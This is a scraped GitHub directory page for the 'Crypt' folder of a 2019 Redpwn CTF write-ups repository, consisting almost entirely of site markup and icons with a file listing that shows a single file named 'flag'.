0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> wr47h </span> <span>/</span> CTF-Writeups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>4</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>4</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/wr47h/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":107017690,"originating_url":"https://github.com/wr47h/CTF-Writeups/tree/master/2019/Redpwn%20CTF%202019/Crypt","user_id":null}}" data-hydro-click-hmac="b231d153e69375558d60b03f4a4af2ee3d0b20d71c5f49cada5bccd9a156a4b5"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/wr47h/CTF-Writeups/refs" cache-key="v0:1508076660.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="d3I0N2gvQ1RGLVdyaXRldXBz" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/wr47h/CTF-Writeups/refs" cache-key="v0:1508076660.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="d3I0N2gvQ1RGLVdyaXRldXBz" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>2019</span></span><span>/</span><span><span>Redpwn CTF 2019</span></span><span>/</span>Crypt<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>2019</span></span><span>/</span><span><span>Redpwn CTF 2019</span></span><span>/</span>Crypt<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/wr47h/CTF-Writeups/tree-commit/e95325f43959a52237c04b62f0241bb4d6027fb4/2019/Redpwn%20CTF%202019/Crypt" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/wr47h/CTF-Writeups/file-list/master/2019/Redpwn%20CTF%202019/Crypt"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
